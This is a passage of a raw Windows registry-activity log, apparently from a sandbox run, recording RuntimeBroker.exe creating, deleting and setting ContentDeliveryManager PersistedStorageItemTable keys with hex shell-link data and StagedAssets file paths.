002d0033003100350036003300320035003200300036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d00000068000000004800000043e29724000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5c48e687-5f3f-43bc	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3794e040-fa23-4a79 = "8324"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2ee5092a-aafc-486f = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000001ab7399b85ccda013fed919b85ccda013fed919b85ccda014cc00c000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000e2583d6d2000373430363862623861636433323139653464646631343132363464653330353533376135646136346132353234356535353434656233653333653665366637650000b20009000400efbee2583d6de2583d6d2e00000000000000000000000000000000000000000000000000a7b32e01370034003000360038006200620038006100630064003300320031003900650034006400640066003100340031003200360034006400650033003000350035003300370061003500640061003600340061003200350032003400350065003500350034003400650062003300650033003300650036006500360066003700650000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000003a4b20b11000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c37343036386262386163643332313965346464663134313236346465333035353337613564613634613235323435653535343465623365333365366536663765000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000706b76686d786b690000000000000000cc63c2b45e183445ac2460a9bcbeb268b0aebdff2628ef11b1ba424a43b6706fcc63c2b45e183445ac2460a9bcbeb268b0aebdff2628ef11b1ba424a43b6706fd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003100360039003400390039003700390031002d0033003500340035003200330031003800310033002d0033003100350036003300320035003200300036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d00000068000000004800000043e29724000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3794e040-fa23-4a79	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2ee5092a-aafc-486f = "8324"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\20b45d0b-99ae-4b27 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59b318cd-7470-4f68 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000435ada9a85ccda01435ada9a85ccda01435ada9a85ccda01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000e2583d6d2000646631653766313165373730303536373466346531346363313064333530633162323833326632623633303766653839376133313263346165623665653732300000b20009000400efbee2583d6de2583d6d2e00000000000000000000000000000000000000000000000000bd3c1901640066003100650037006600310031006500370037003000300035003600370034006600340065003100340063006300310030006400330035003000630031006200320038003300320066003200620036003300300037006600650038003900370061003300310032006300340061006500620036006500650037003200300000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000003a4b20b11000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c64663165376631316537373030353637346634653134636331306433353063316232383332663262363330376665383937613331326334616562366565373230000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000706b76686d786b690000000000000000cc63c2b45e183445ac2460a9bcbeb268abaebdff2628ef11b1ba424a43b6706fcc63c2b45e183445ac2460a9bcbeb268abaebdff2628ef11b1ba424a43b6706fd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003100360039003400390039003700390031002d0033003500340035003200330031003800310033002d0033003100350036003300320035003200300036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d00000068000000004800000043e29724000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0b07d650-3d47-4cc1	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2fa78399-c473-4105 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59b318cd-7470-4f68 = "0"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\26742f30-709c-4486	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\26742f30-709c-4486 = "\\\\?\\Volume{2497E243-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\f74580ebc09377bd77d143d898e1865365226dd8a10d2daf8771fe3aba6ecc42"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2ee5092a-aafc-486f	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2fa78399-c473-4105	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0b07d650-3d47-4cc1 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3794e040-fa23-4a79 = "\\\\?\\Volume{2497E243-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\f74580ebc09377bd77d143d898e1865365226dd8a10d2daf8771fe3aba6ecc42"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0b07d650-3d47-4cc1	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\31873458-3a2e-4575	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\31873458-3a2e-4575 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\26742f30-709c-4486 = fb1cae9b85ccda01	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\20b45d0b-99ae-4b27 = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000008c92139b85ccda01b89f839b85ccda01b89f839b85ccda01a2d905000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000e2583d6d2000646631653766313165373730303536373466346531346363313064333530633162323833326632623633303766653839376133313263346165623665653732300000b20009000400efbee2583d6de2583d6d2e00000000000000000000000000000000000000000000000000bd3c1901640066003100650037006600310031006500370037003000300035003600370034006600340065003100340063006300310030006400330035003000630031006200320038003300320066003200620036003300300037006600650038003900370061003300310032006300340061006500620036006500650037003200300000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000003a4b20b11000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c64663165376631316537373030353637346634653134636331306433353063316232383332663262363330376665383937613331326334616562366565373230000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000706b76686d786b690000000000000000cc63c2b45e183445ac2460a9bcbeb268afaebdff2628ef11b1ba424a43b6706fcc63c2b45e183445ac2460a9bcbeb268afaebdff2628ef11b1ba424a43b6706fd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003100360039003400390039003700390031002d0033003500340035003200330031003800310033002d0033003100350036003300320035003200300036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d00000068000000004800000043e29724000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2ee5092a-aafc-486f = "\\\\?\\Volume{2497E243-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\74068bb8acd3219e4ddf141264de305537a5da64a25245e5544eb3e33e6e6f7e"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d03f6c34-dc99-4df6	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\20b45d0b-99ae-4b27	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\20b45d0b-99ae-4b27 = "8324"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\20b45d0b-99ae-4b27 = "\\\\?\\Volume{2497E243-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\df1e7f11e77005674f4e14cc10d350c1b2832f2b6307fe897a312c4aeb6ee720"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2ee5092a-aafc-486f = "0"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2fa78399-c473-4105 = "\\\\?\\Volume{2497E243-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\74068bb8acd3219e4ddf141264de305537a5da64a25245e5544eb3e33e6e6f7e"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\26742f30-709c-4486	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\26742f30-709c-4486 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\20b45d0b-99ae-4b27 = 6674b39b85ccda01	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0b07d650-3d47-4cc1	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59b318cd-7470-4f68	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0b07d650-3d47-4cc1 = "\\\\?\\Volume{2497E243-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\56b6e160bca1684682c1bdea60ea14bc42038ab1c3c558700681af761e7e24ca"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\31873458-3a2e-4575 = "0"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2fa78399-c473-4105	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3794e040-fa23-4a79	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3794e040-fa23-4a79 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3794e040-fa23-4a79 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000a0d0d09a85ccda01a0d0d09a85ccda01a0d0d09a85ccda01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000e2583d6d2000663734353830656263303933373762643737643134336438393865313836353336353232366464386131306432646166383737316665336162613665636334320000b20009000400efbee2583d6de2583d6d2e0000000000000000000000000000000000000000000000000060c62201660037003400350038003000650062006300300039003300370037006200640037003700640031003400330064003800390038006500310038003600350033003600350032003200360064006400380061003100300064003200640061006600380037003700310066006500330061006200610036006500630063003400320000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000003a4b20b11000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c66373435383065626330393337376264373764313433643839386531383635333635323236646438613130643264616638373731666533616261366563633432000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000706b76686d786b690000000000000000cc63c2b45e183445ac2460a9bcbeb268aaaebdff2628ef11b1ba424a43b6706fcc63c2b45e183445ac2460a9bcbeb268aaaebdff2628ef11b1ba424a43b6706fd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003100360039003400390039003700390031002d0033003500340035003200330031003800310033002d0033003100350036003300320035003200300036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d00000068000000004800000043e29724000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59b318cd-7470-4f68 = fb21dd9a85ccda01	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\31873458-3a2e-4575 = 